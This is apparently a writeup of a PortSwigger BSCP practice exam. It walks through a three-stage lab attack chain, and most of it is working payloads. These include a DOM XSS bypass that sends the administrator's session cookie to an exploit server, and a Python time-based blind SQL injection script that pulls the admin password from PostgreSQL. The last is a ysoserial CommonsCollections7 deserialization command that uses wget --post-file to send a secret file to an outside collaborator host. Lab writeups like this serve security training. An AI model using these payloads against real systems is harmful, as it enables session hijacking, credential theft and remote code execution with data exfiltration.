> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/bscp-certification-practical-guide/writeup-practice-exam-2-bscp.md).

# BSCP Practice Exam 2 Writeup

BSCP Practice Exam 2 Writeup notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

## Stage 1: Initial Access (DOM XSS & Cookie Stealing)

Vector: Inject JavaScript into DOM via a search parameter (`find`). Challenge: Presence of filters/WAF limiting the use of certain characters.

#### 1. Analysis and Bypass

After several tests to escape the existing JSON/JavaScript structure:

```javascript
"};alert`1`//
","a":alert1}//
"-alert`1`-"
```

#### 2. Exfiltration Payload

The goal is to redirect the administrator to our exploit server by having it carry its session cookie.

Redirect Payload: `"};location='https://[EXPLOIT-SERVER]/log?c='+document.cookie;//`

{% code overflow="wrap" %}

```bash
"};location='https://exploit-0aa20067041b291b83a6ea7c0130006e.exploit-server.net/?c='+document.cookie;//
```

{% endcode %}

Final Exploit (to be delivered via the exploit server):

```javascript
<script>
  location = "https://0a79004d04a329a7830bebde00dd0088.web-security-academy.net/?find=%22%7D%3Blocation%3D%27https%3A%2F%2Fexploit-0aa20067041b291b83a6ea7c0130006e.exploit-server.net%2F%3Fc%3D%27%2Bdocument.cookie%3B%2F%2F";
</script>
```

## Stage 2: Privilege Escalation (SQLi Time-based)

Vector: Inject SQL in the `order` parameter of the filtered search. Database: PostgreSQL.

#### 1. Injection Validation

The injection is confirmed with a simple condition that does not break the sorting: `ASC,(CASE WHEN (1=1) THEN 1 ELSE 2 END)`

#### 2. Extraction Automation (Blind SQLi)

Since the application does not return a direct error with the content, one uses a time-based attack.

Payload Logic: The script checks the `administrator` password by character. If the character is correct, the database waits 3 seconds (`pg_sleep(3)`).

Script Python d'extraction :

```python
import requests
import time

url = "https://[LAB-ID].web-security-academy.net/filtered_search"
cookies = {"session": "your_session_id"}
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""

for i in range(1, 21):
    for char in charset:
        # Payload PostgreSQL Time-based
        payload = f"ASC,(SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='administrator'),{i},1)='{char}') THEN (SELECT 1 FROM pg_sleep(3)) ELSE 1 END)"

        params = {"find": "", "organize": "5", "order": payload}

        start = time.time()
        requests.get(url, params=params, cookies=cookies)

        if (time.time() - start) >= 2.8:
            password += char
            print(f"[+] Lettre {i}: {char} -> {password}")
            break
```

## Stage 3: File System Access (Java Deserialization)

Purpose: Read the `/home/carlos/secret` file via unsecured deserialization.

#### 1. Cookie Analysis

The `admin-prefs` cookie contains a serialized Java object, compressed in Gzip and encoded in Base64.

{% code overflow="wrap" %}

```bash
Cookie: admin-prefs=H4sIAAAAAAAA%2fzWPPU7DQBCFF0RSQcMJpkOi2PTQEH4iCkcKClJEOV6Pk8HrHbO7dmKQOA4VJ%2bAI3IU7sBahm%2fn09PS9zx81Cl6dW8w1msjigjZS1%2bJ0IM9o%2bRVzS3pa1OwWnsrw9vUxDqvv7FAdZeq4xE48R5qJFFGdZs%2fY4cSiW0%2bW0bNbX2bq5D%2fz0EqkF%2fWuDvawHei1SLWHo7ih%2bi%2bxa6Iab5kc%2baiu5j04rAk4wA16KwHm4qL0qOFJWqjYWiqg7qHEVOE1JNMGPUEUKJh0VIvHDcGKcpg2jWWDw1K4R1ORPwvpcEWePC7gloORjgZ1SBDudo0VjsO7JDMI9zCzuA1JT3zaSb9PDWuHQgEAAA%3d%3d;
```

{% endcode %}

#### 2. Generation of Payload (Yesserial)

In this second review, the identified vulnerable library is CommonsCollections7.

Generation control:

{% code overflow="wrap" %}

```bash
CommonsCollections7 '/usr/bin/wget --post-file /home/carlos/secret https://kpd4qvnp2c1ae8xbhncxyu0fl6rzfp3e.oastify.com'
```

{% endcode %}

#### 3. Implementation

Procedure: Compress binary to Gzip -> Encode Base64 -> Replace value in `admin-prefs` cookie.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2373203642509ad9e4a3b8017fe4a5b73d1515b%2Fimage%20(3137).png?alt=media" alt=""><figcaption></figcaption></figure>


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